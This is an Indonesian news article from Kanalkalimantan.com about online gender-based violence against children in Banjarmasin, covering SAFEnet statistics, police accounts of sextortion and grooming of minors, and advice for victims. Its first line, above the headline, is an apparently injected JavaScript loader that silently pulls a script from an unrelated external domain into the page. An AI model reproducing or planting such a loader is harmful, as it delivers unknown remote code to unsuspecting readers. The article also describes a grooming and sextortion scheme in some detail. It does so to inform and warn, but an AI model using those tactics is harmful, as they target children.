(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Waspada Kasus Kekerasan Berbasis Gender Online Terhadap Anak di Banjarmasin


KANALKALIMANTAN.COM, BANJARBARU – Bak pisau bermata dua, laju perkembangan inovasi teknologi digital jika tidak digunakan dengan bijak, tentu dapat bertransformasi menjadi bentuk kejahatan baru, salah satunya yang kemudian dikenal dengan sebutan Kekerasan Berbasis Gender Online (KBGO).

Apa itu KBGO, bagaimana fenomenanya terjadi, dan bagaimana trennya? KBGO dapat mempengaruhi siapapun, termasuk pengguna gawai dari berbagai latar belakang, tanpa memandang pekerjaan, jenis kelamin, pendidikan dan usia.

Karena KBGO, korban mengalami trauma psikologis, penurunan kesehatan mental, kerugian materi, masalah dalam pekerjaan atau pendidikan, perasaan tidak aman, dan dalam kasus ekstrim, risiko kekerasan fisik, hingga kematian.

***

Kekerasan Berbasis Gender (KBG) terjadi pada seseorang di dunia maya. Tindak kekerasan yang memiliki niatan atau maksud melecehkan korban berdasarkan gender. Dalam Kamus Besar Bahasa Indonesia (KBBI): Gender, adalah serangkaian karakteristik yang terikat kepada dan membedakan maskulinitas dan femininitas. Karakteristik tersebut dapat mencakup jenis kelamin laki-laki, perempuan, atau interseks, hal yang ditentukan berdasarkan jenis kelamin struktur sosial seperti peran gender, atau identitas gender.

Setidaknya ada delapan bentuk KBGO yang terjadi di Indonesia. Bentuk-bentuk tersebut mencakup pendekatan untuk memperdaya, pelecehan online, peretasan, penyebaran konten ilegal, pelanggaran privasi, ancaman distribusi foto/video pribadi, pencemaran nama baik, dan rekrutmen online.

Rilis laporan SAFEnet pemantauan hak-hak digital di Indonesia untuk triwulan pertama tahun 2024, ada peningkatan kasus. Selama periode Januari hingga Maret 2024 tercatat 480 aduan masuk terkait KBGO, di tengah masyarakat digital Indonesia.

Dari total aduan tersebut, jika dikategorikan berdasar pada kelompok usia 18 hingga 25 tahun mencatatkan jumlah tertinggi dengan 272 kasus atau 57 persen. Diikuti oleh anak-anak di bawah 18 tahun dengan 123 kasus atau 26 persen. Sementara itu, kasus KBGO pada rentang usia 26-35 tahun mencapai 61 kasus atau 13 persen, dan sisanya melibatkan korban dengan usia di atas 36 tahun atau tidak diketahui. Secara keseluruhan, angka aduan KBGO ini naik drastis dibandingkan periode yang sama tahun sebelumnya, meningkat dari 118 kasus pada triwulan pertama tahun 2023.

Jenis kekerasan yang paling umum dilaporkan meliputi ancaman penyebaran konten intim, pemerasan seksual, dan penyebaran konten intim tanpa izin. Mayoritas aduan yang dilaporkan oleh korban sendiri, dengan perempuan menyumbang lebih dari setengahnya, yakni 293 aduan. Laporan juga mencatat 174 aduan dari laki-laki dan non biner lima aduan, termasuk dua aduan dari pendamping korban non biner.

Adapun tren identifikasi modus pelaku KBGO saat ini cenderung berhubungan dengan masalah personal, panggilan video seksual atau VCS, serta manipulasi hubungan yang mengarah pada penyebaran informasi pribadi.

Di Banjarmasin khususnya, banyak contoh nyata korban KBGO, kebanyakan menyasar mereka yang rentan seperti halnya anak, laki-laki maupun perempuan, mereka korban perundungan, hingga pelecehan seksual yang khususnya melalui media sosial.

Contoh Kasus

Misalnya, kelakuan asusila oknum guru honorer sekolah dasar yang melakukan aksi pelecehan terhadap muridnya, masih di bawah umur pada pertengahan tahun 2023 di Banjarmasin. Dia tega mencabuli muridnya sendiri dengan skenario yang sedemikian rupa.

Tahukah jika si pelaku, lelaki berusia 28 tahun yang juga membuka bimbingan belajar (Bimbel) hingga jenjang Sekolah Menengah Atas (SMA) di rumahnya itu, dalam melancarkan aksinya, begitu licik.

Singkat cerita, sang korban adalah anak laki-laki, yang sejak SD dididik dan rutin mengikuti kelas Bimbel di rumah pelaku. Dengan sabar si anak dibiarkan tumbuh bertahun-tahun sampai beranjak remaja. Setelah korban mencapai usia akil baligh, saat itulah pelaku melancarkan aksinya.

Rentetan kasus. Mulanya pelaku membuat akun palsu di media sosial dengan menyamar sebagai seorang perempuan bernama Jasmine. Dia berpura-pura menjadi orang lain, mendekati si anak dengan bujuk rayu hingga akhirnya berhasil meyakinkan untuk melakukan video call seks (VCS). Tanpa sadar, VCS tersebut sedang direkam.

Setelah kejadian itu, pelaku menggunakan akun media sosial baru di Instagram untuk menghubungi korban. Dia melakukan teror akan menyebarkan rekaman VCS itu ke publik. Korban diperas, diminta membayar sejumlah uang serta membuat video asusila baru berupa seks oral bersama orang lain. Sesama jenis.

Di sinilah, pelaku kemudian berpura-pura datang sebagai pahlawan. Ceritanya, dia bersedia membantu korban dengan membayarkan uang yang diminta, termasuk melaksanakan adegan berhubungan badan, bertindak sebagai aktor dalam pembuatan video oral sex. Hingga akhirnya, video tidak senonoh itu berhasil dibuat, di tempat pelaku. Direkam menggunakan smartphone, lengkap dengan tripod plus lampu pendukung, layaknya produksi film porno. Total ada 30 video, rinciannya lima video berdua tanpa melakukan apapun dan 25 video asusila.

Setelah kasus ini dilaporkan oleh orangtua korban dan diungkap oleh pihak kepolisian, pelaku mengakui si anak bukan orang satu-satunya yang selama ini menjadi korban. Seluruhnya, ada enam anak laki-laki lain yang diduga terpaksa menjadi pemuas kelainan seks guru honorer itu, dengan modus yang hampir serupa. Namun, hingga hari ini, angka laporan para korban atas pelaku yang sama tidak kunjung bertambah, korban diduga enggan melapor, entah karena takut, atau malu.

Brigadir Sheren Septiana, dari Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Kepolisian Daerah (Polda) Kalimantan Selatan (Kalsel), bercerita panjang lebar kepada Kanalkalimantan pada awal Juni 2024. Dia menjelaskan peristiwa KBGO yang sudah mulai marak terjadi di wilayah hukum Polda Kalsel. Termasuk kasus yang dilakukan oleh oknum guru sekolah, sekaligus guru bimbel SMA itu.

“Pelaku melancarkan aksinya dengan berbagai cara sehingga korban terjerat. Setelah pelaku berhasil menjebak korbannya dengan menyamar menjadi orang lain, korban tidak menyadari bahwa pahlawan yang membantunya adalah orang yang telah menjebaknya,” ujarnya. Masih Lanjut Brigadir Sheren, menurut pengakuan tersangka, kasus itu didasari karena sakit hati ditolak cewek, hingga akhirnya jadi lebih suka dengan lelaki alias sesama jenis.

Ditemani Briptu Ainun Nabila, dari Ba Subdit 5 Tindak Pidana Siber, Brigadir Sheren mengisahkan kasus lain yang baru saja terjadi, masih di Kota Banjarmasin. Kali ini, pelaku dan anak korban masih sama-sama menempuh pendidikan di satu komplek sekolah yang sama.

“Pelaku dan korban sesama anak satu sekolah, masih usia 14 dan 15 tahun. Saat ini kasusnya masih pemberkasan di kepolisian. Korbannya SMA anak perempuan, pelakunya SMP kelas 3 juga anak perempuan. Motifnya sakit hati,” ujarnya.

Polwan pemegang keahlian Certified Women Enforcement Law dari Quezon City, Filipin dan Ec-Council Certified Security Analyst (ECSA) sertifikat keahlian dari pelatihan di Amerika Serikat ini, pada kasus tersebut, korban di-bullying via WhatsApp dengan mengatakan jika foto korban tidak secantik aslinya. Korban stress, malu, risih, lalu minta maaf. Pelaku setuju, namun dengan satu syarat. Permohonan maaf akan diterima jika korban memberikan foto payudaranya.

Tanpa pikir panjang, foto tersebut dikirim korban, oleh pelaku di upload pada WhatsApp story, dibagikan di grup teman-temannya, parahnya lagi foto itu diedit sedemikian rupa lalu di-upload ke media sosial, TikTok.

“Karena viral di sekolah, korban malu dan berujung pelaporan.”

“Saat berhadapan dengan pelaku anak kami penyidik selalu melakukan diversi, kami hanya memediasi hasil akhirnya bukan kami yang menentukan,” sambung ibu dua anak ini.

Mengutip pasal 1 angka 7 UU Sistem Peradilan Pidana Anak, diversi adalah pengalihan penyelesaian perkara anak dari proses peradilan pidana ke proses di luar peradilan pidana. Diversi bertujuan untuk mencapai perdamaian antara korban dan anak. Menyelesaikan perkara anak di luar proses peradilan. Pada kasus melibatkan anak di Banjarmasin selalu dimediasi untuk diversi. Pada kasus anak ini, Ditreskrimsus Polda Kalsel gagal melakukan diversi, karena ada permintaan dari korban ke pelaku yang tidak bisa dipenuhi.

“Sekolah dengan fasilitas bagus, high class school tidak menjamin nihil kasus KBGO. Anak-anak lebih banyak menghabiskan waktu di sekolah, peran orangtua di rumah sangat penting dalam mencegah dan menangani kasus KBGO. Orangtua harus aktif dalam mendidik anak-anak mereka tentang penggunaan internet yang aman, mengenali tanda-tanda KBGO, dan memberikan dukungan emosional,” sebutnya meyakinkan.

Orangtua dan anak, harus berkomunikasi secara terbuka, tentang pengalaman online, memastikan merasa aman, dan melaporkan segala bentuk kekerasan atau pelecehan yang jika mereka alami. Secara keseluruhan, kerjasama antara sekolah dan orangtua sangat penting untuk menciptakan lingkungan yang aman dan mendukung bagi anak-anak, baik di dunia nyata maupun di dunia digital.

“Kontrol orang tua itu mutlak. Korbannya itu sekarang para siswa berprestasi, ada yang anggota Paskibraka, dan ada juga siswa dengan nilai akademiknya bagus,” sebut Brigadir Sheren, geleng-geleng kepala.

Sejak awal mengawal kasus KBGO di Polda Kalsel bagi dirinya dan Ainun tidak mudah. Mereka, pihak kepolisian yang intens bersentuhan langsung dengan kasus KBGO awalnya sempat dirundung stres, dipaksa melihat perlakuan-perlakuan bejat yang tidak senonoh dalam proses penyelidikan. Tapi, seiring berjalannya waktu, mereka terbiasa.

“Sempat stres melihat yang gitu-gituan, terganggu mental kita, tapi sekarang sudah terbiasa,” Briptu Ainun memberitahu.

Kedua Polwan berharap, akan lebih baik jika jumlah Polwan yang bertugas di Ditreskrimsus Polda Kalsel bertambah, dengan begitu, diyakini korban yang mayoritas perempuan dan anak dapat bercerita tentang kasusnya dengan lebih terbuka.

Seturut data kasus KBGO dalam 5 tahun terakhir yang ditangani Ditreskrimsus Polda Kalsel mencatat ada 18 kasus. Dengan rincian pada 2019 didapati 4 kasus, dengan 3 korban dewasa dan 1 korban anak. Pada 2020 mengalami peningkatan menjadi 6 kasus, dimana 5 korban dewasa dan 1 korban anak.

Pada tahun 2021, terdapat 2 kasus yang melibatkan korban dewasa, sedangkan pada 2022 tercatat 2 kasus dengan korban dewasa dan anak secara berurutan. Pada tahun 2023, kejadian meningkat dengan 3 kasus yang seluruhnya menimpa korban anak. Hingga pertengahan tahun 2024, satu kasus dilaporkan dengan korban orang dewasa.

Angka lonjakan kasus kekerasan pada perempuan dan anak, juga tercatat di Perkumpulan Keluarga Berencana Indonesia (PKBI) Kalimantan Selatan. Lembaga yang sejak berdirinya focus melakukan gerakan mewujudkan kesejahteraan masyarakat ini, salah satu pengembangannya berbagai program didasarkan pada pendekatan yang berbasis hak sensitif gender.

Direktur Eksekutif PKBI Kalsel, Akhmad Bukhari mengatakan, bentuk KBGO yang banyak terjadi di Banua -sebutan lain Kalimantan Selatan- adalah bullying di-medsos. Parahnya lagi ada kejadian di salah satu kabupaten kedua korban dan pelaku berakhir dinikahkan.

“Ini menakutkan buat saya, karena kita tidak tau akan seperti apa mereka menghadapi bahtera keluarga mereka. Korban bertambah terpuruk jadinya,” ujar Akhmad Bukhari.

Dia memprediksi, ada banyak kasus di Kalsel kenapa korban tidak mau melaporkan kejadian yang dialami karena relasi kuasa yang berlaku di tatanan struktural itu begitu kuat. “Ketika terjadi pada kasus korban anak kemudian melaporkan kasusnya, lalu pihak sekolah mengeluarkan surat agar si anak pindah sekolah. Di sinilah relasi kuasa yang dimaksud,” tegas Bukhari.

“Seharusnya hanya menjadi korban, tapi juga menjadi orang yang disalahkan karena nama sekolah menjadi tercemar. Kejadian yang tidak berpihak pada korban ini yang mengakibatkan mental anak korban semakin jatuh, lalu depresi bisa saja melakukan Tindakan menyakiti diri sendiri,” sambung dia.

Sayangnya, PKBI Kalsel tidak menyebut berapa angka kekerasan terhadap anak baik berdasarkan temuan awal bentuk online, semua sama dipukul rata yang berakhir pada kekerasan fisik. Angka keseluruhan kekerasan terhadap perempuan dan anak di Kalsel dalam kurun waktu 2022. Dari banyaknya kasus kekerasan secara fisik, beberapa di antaranya adalah kasus KBGO.

Menanggapi kasus serius terhadap anak, seorang psikolog klinis yang pernah bekerja di RSUD Ulin Banjarmasin, kini bertugas di RSUD Panembahan Senopati, Kabupaten Bantul, Yogyakarta, Rifqoh Ihdayati mengatakan, banyaknya kasus KBGO yang terjadi terhadap anak di Kalimantan Selatan, pada anak hingga remaja terjadi karena faktor pengawasan orang dewasa (orangtua di rumah dan guru di sekolah) masih lemah.

Anak zaman sekarang tidak hanya memiliki gawai, tetapi juga laptop sendiri, mereka kapan saja bisa mengakses apa saja di dunia maya. “Tanpa pengawasan orangtua dan guru hal ini bisa menjadi bumerang,” ujarnya.

Pada pelaku anak, yang terkait Undang-Undang Perlindungan Anak, meski sering berakhir pada mediasi, tetapi ujarnya, efek jera harus tetap diberikan. Sehingga pelaku menyadari dan tahu kesalahan yang sudah dilakukannya. Dengan harapan tidak terulang kembali dan, pada korban dalam hal ini kembali dapat menaikan semangat di dalam dirinya. Menyembuhkan sedikit luka, trauma.

“Zaman digital memaksa kita semua untuk lebih menjaga kerahasian. Kerahasian ini juga harus di-edukasi ke anak-anak. Ruang aman digital tidak akan aman kalau anak-anak tidak tahu apa yang boleh dan yang tidak boleh dibagi di media sosial,” tegas psikolog yang biasa disapa Rifqoh ini.

Rifqoh memberi saran, membiasakan orangtua berbagi cerita dengan anak sejak dini, dengan begitu anak terbiasa bercerita pada orangtuanya lebih dulu. Bukan pada teman dunia maya yang berada entah dimana, tidak tahu, memiliki niatan apa.

“Sifat anak-anak ya juga manusia semakin dilarang semakin ingin mencoba. Jika anak sudah terbiasa bercerita dengan orangtua pengawasan juga akan lebih mudah. Karena dia akan menyampaikan apa yang terjadi seperti contoh di sekolahnya, di lingkungan sekitar dia,” tambahnya.

Belajar dari pengalaman kasus, Rifqoh berandai, ada pembekalan pemahaman secara khusus diberikan kepada tenaga pendidik tentang KBGO. Pengawasan yang tepat akan mencegah tindak KBGO di sekolah maupun tempat bimbingan belajar. Kepada korban, Rifkoh berpesan untuk terus meminta bantuan profesional jika telah mengalami masalah kecemasan, stress dan depresi, apalagi jika memiliki niatan bunuh diri, berhalusinasi.

“Maka jangan takut dan malu datang pada psikolog atau psikiater,” imbaunya.

Lantas Apa Yang dilakukan Saat Menjadi Korban Kekerasan Berbasis Gender Online?

Saat mengalami kekerasan berbasis gender online (KBGO), berikut langkah-langkah dibawah ini mungkin dapat membantu Anda:
Dokumentasikan kejadian dengan detail jika memungkinkan. Kronologi yang terdokumentasi baik dapat mendukung proses pelaporan dan pemungutan oleh pihak berwenang, seperti platform online atau kepolisian.

Pantau situasi yang dihadapi dengan hati-hati. Meskipun tidak disarankan untuk menghadapi pelaku sendiri, evaluasi apakah memungkinkan untuk melakukan dokumentasi sendiri. Pertimbangkan tindakan yang paling aman dan efektif untuk dilakukan.

Menghubungi bantuan dari individu atau lembaga terpercaya yang bisa memberikan pendampingan hukum, konseling psikologis, atau bantuan terkait keamanan digital. Membuka link https://ipk.id/caripsikolog berisi informasi tentang 820 Psikolog Klinis dan 353 Fasilitas Kesehatan Layanan Psikologi Klinis. Pengguna dapat mencari psikolog dengan mengetik nama kota lalu klik “cari psikolog.”

Ada juga layanan dari Lembaga Bantuan Hukum (LBH) atau organisasi yang mendukung korban kekerasan. Bagi yang membutuhkan bantuan hukum atau ingin berdiskusi dengan lembaga seperti PKBI, dapat menghubungi hotline di nomor +62 898-8196-880.

Laporkan dengan menghubungi TaskForce KBGO di Instagram @taskforce_kbgo. Blokir pelaku di platform online termasuk akun yang dianggap mencurigakan, membuat tidak nyaman, atau mengintimidasi dari platform online yang digunakan. Sementara itu untuk pelatihan keamanan holistik atau penanganan KBGO, pengguna bisa menghubungi kolektif@purplecodecollective.net atau mengakses bit.ly/bukusakuKBGO.
Dengan mengikuti langkah-langkah ini, diharapkan korban dapat mengatasi situasi KBGO secara lebih aman dan efektif. (Kanalkalimantan.com/desy arfianty/rendy tisna)

Reporter: desy arfianty/rendy tisna
Editor: bie


Muhammad Andi

Recent Posts

Kabupaten Banjar Laksanakan Penyusunan RDTR Wilayah Perencanaan Perkotaan Gambut – Kertakhanyar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More

44 menit ago

KPK Gali Keterangan Empat Saksi Terkait Aliran Uang ke Sahbirin Noor

KANALKALIMANTAN. COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menggali keterangan dari empat saksi dalam kasus… Read More

52 menit ago

Ditreskrimsus Polda Kalsel Ungkap 46 Kasus Termasuk Judi Online

KANALKALIMANTAN.COM, BANJARBARU - Direktorat Reserse Kriminal Khusus (Ditreskrimsus) Polda Kalimantan Selatan (Kalsel) mengungkap sejumlah kasus… Read More

2 jam ago

LPTQ Banjar Audiensi ke Pjs Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pengurus Lembaga Pengembangan Tilawatil Quran (LPTQ) Kabupaten Banjar melakukan audiensi ke Pjs… Read More

5 jam ago

CEK FAKTA: Pernyataan Paslon Bahrul Ilmi Impor Guru dari Pulau Jawa, Bangun Jalan Beton di Batola

KANALKALIMANTAN.COM, MARABAHAN - Sejumlah pernyataan kontroversial dalam perhelatan debat publik kedua tiga pasangan calon (Paslon)… Read More

6 jam ago

Puluhan TPS Rawan Masuk Pemetaan Bawaslu Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Sejumlah Tempat Pemungutan Suara (TPS) di Kota Banjarbaru masuk pemetaan potensi kerawanan… Read More

7 jam ago

This website uses cookies.